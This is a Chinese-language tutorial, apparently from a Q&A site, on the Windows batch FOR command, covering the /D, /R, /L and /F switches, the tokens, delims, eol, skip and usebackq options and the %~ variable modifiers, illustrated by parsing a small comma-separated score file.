語法看多了其實也起不了作用,一遇見實際問題就會出現問題,基本上還是不知道怎麼用,估計看了過幾天就忘了,最好是遇見什麼問題要用到for語句的時候再去深入的思考for語句的用法,只有遇見實際問題,才能理解for語句的妙用,簡單看下語法就行了,
for
命令
對一組文件中的每一個文件執行某個特定命令。
FOR
%variable
IN
(set)
DO
command
[command-parameters]
%variable
指定一個單一字母可替換的參數。
(set)
指定一個或一組文件。可以使用通配符。
command
指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。
在批處理文件中使用
FOR
命令時,指定變數請使用
%%variable
而不要用
%variable。變數名稱是區分大小寫的,所以
%i
不同於
%I.
如果命令擴展名被啟用,下列額外的
FOR
命令格式會受到
支持:
FOR
/D
%variable
IN
(set)
DO
command
[command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR
/R
[[drive:]path]
%variable
IN
(set)
DO
command
[command-parameters]
檢查以
[drive:]path
為根的目錄樹,指向每個目錄中的
FOR
語句。如果在
/R
後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR
/L
%variable
IN
(start,step,end)
DO
command
[command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5)
將產生序列
1
2
3
4
5,(5,-1,1)
將產生
序列
(5
4
3
2
1)。
FOR
/F
["options"]
%variable
IN
(file-set)
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
("string")
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
('command')
DO
command
[command-parameters]
或者,如果有
usebackq
選項:
FOR
/F
["options"]
%variable
IN
(file-set)
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
("string")
DO
command
[command-parameters]
FOR
/F
["options"]
%variable
IN
('command')
DO
command
[command-parameters]
filenameset
為一個或多個文件名。繼續到
filenameset
中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用
For
循環。以默認方式,/F
通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選
"options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c
-
指一個行注釋字元的結尾(就一個)
skip=n
-
指在文件開始時忽略的行數。
delims=xxx
-
指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n
-
指每行的哪一個符號被傳遞到每個迭代
的
for
本身。這會導致額外變數名稱的分配。m-n
格式為一個范圍。通過
nth
符號指定
mth。如果
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之後
分配並接受行的保留文本。
usebackq
-
指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且一個單
引號字元為文字字元串命令並允許在
filenameset
中使用雙引號擴起文件名稱。
語法
For
/F
["options"]
%variable
In
(file-set)
Do
command
[command-parameters]
options
參數說明
eol=c
指一個行注釋字元的結尾(就一個)
skip=n
指在文件開始時忽略的行數。
delims=xxx
指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n
指每行的哪一個符號被傳遞到每個迭代的
for
本身。這會導致額外變數名稱的分配。m-n格式為一個范圍。通過
nth
符號指定
mth。如果符號字元串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文本。
一個簡單例子
Text.txt文件內容如下:
1,小明,80,85
2,小紅,90,95
#3,小強,90,95
For
/F
"tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
這里分析
Text.txt
文件中的內容,每次讀取一行,每行以逗號分隔,取第2列
這樣
%%i
表示第二列的內容,%%j
就是星號中的內容,星號就是第二列後面的全部內容
For
/F
"eol=#
tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
和上面相比少了第三行,因為第三行以井號開頭,eol=#
指定了以井號開頭的行為注釋行不分析
For
/F
"eol=#
skip=1
tokens=2,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j)
多了一個
skip=1,表示從跳過第一行,從第二行開始。
還可以這樣
For
/F
"tokens=1,2,3,*
delims=,
"
%%i
In
(Text.txt)
Do
(Echo
%%i
%%j
%%k
%%l)
可以不用參數
For
/F
%%i
In
(Text.txt)
Do
(Echo
%%i)
這樣,每次讀取一行內容,顯示出來。
某些範例可能有助:
FOR
/F
"eol=;
tokens=2,3*
delims=,
"
%i
in
(myfile.txt)
do
@echo
%i
%j
%k
會分析
myfile.txt
中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給
for
程序體;用逗號和/或
空格定界符號。請注意,這個
for
程序體的語句引用
%i
來
取得第二個符號,引用
%j
來取得第三個符號,引用
%k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用
usebackq
選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i
專門在
for
語句中得到說明,%j
和
%k
是通過
tokens=
選項專門得到說明的。您可以通過
tokens=
一行
指定最多
26
個符號,只要不試圖說明一個高於字母
'z'
或
'Z'
的變數。請記住,FOR
變數是單一字母、分大小寫和全局的;而且,
同時不能有
52
個以上都在使用中。
您還可以在相鄰字元串上使用
FOR
/F
分析邏輯;方法是,
用單引號將括弧之間的
filenameset
括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用
FOR
/F
命令來分析命令的輸出。方法是,將
括弧之間的
filenameset
變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子
CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR
/F
"usebackq
delims=="
%i
IN
(`set`)
DO
@echo
%i
會枚舉當前環境中的環境變數名稱。
另外,FOR
變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I
-
刪除任何引號("),擴充
%I
%~fI
-
將
%I
擴充到一個完全合格的路徑名
%~dI
-
僅將
%I
擴充到一個驅動器號
%~pI
-
僅將
%I
擴充到一個路徑
%~nI
-
僅將
%I
擴充到一個文件名
%~xI
-
僅將
%I
擴充到一個文件擴展名
%~sI
-
擴充的路徑只含有短名
%~aI
-
將
%I
擴充到文件的文件屬性
%~tI
-
將
%I
擴充到文件的日期/時間
%~zI
-
將
%I
擴充到文件的大小
%~$PATH:I
-
查找列在路徑環境變數的目錄,並將
%I
擴充
到找到的第一個完全合格的名稱。如果環境變數名
未被定義,或者沒有找到文件,此組合鍵會擴充到
空字元串
可以組合修飾符來得到多重結果:
%~dpI
-
僅將
%I
擴充到一個驅動器號和路徑
%~nxI
-
僅將
%I
擴充到一個文件名和擴展名
%~fsI
-
僅將
%I
擴充到一個帶有短名的完整路徑名
%~dp$PATH:i
-
查找列在路徑環境變數的目錄,並將
%I
擴充
到找到的第一個驅動器號和路徑。
%~ftzaI
-
將
%I
擴充到類似輸出線路的
DIR
在以上例子中,%I
和
PATH
可用其他有效數值代替。%~
語法
用一個有效的
FOR
變數名終止。選取類似
%I
的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
特別說明:
for
/f
%%i
in
(file)
do
(echo
%%i)
該命令處理的時候,file裡面的內容處理是
當每行有空格就截取空格前面的字元串,空格後面的就刪除了。
如果for語句有什麼不明白的,可以
hi
我。
㈧ 批處理For命令的/f參數怎麼用
命令行:for /f "delims=" %i in (1.txt) do echo %i
批處理:for /f "delims=" %%i in (1.txt) do echo %%i
關鍵字delims分隔集符要加上。
ps:單獨一行命令參數i只有一個%,在bat里才有兩個。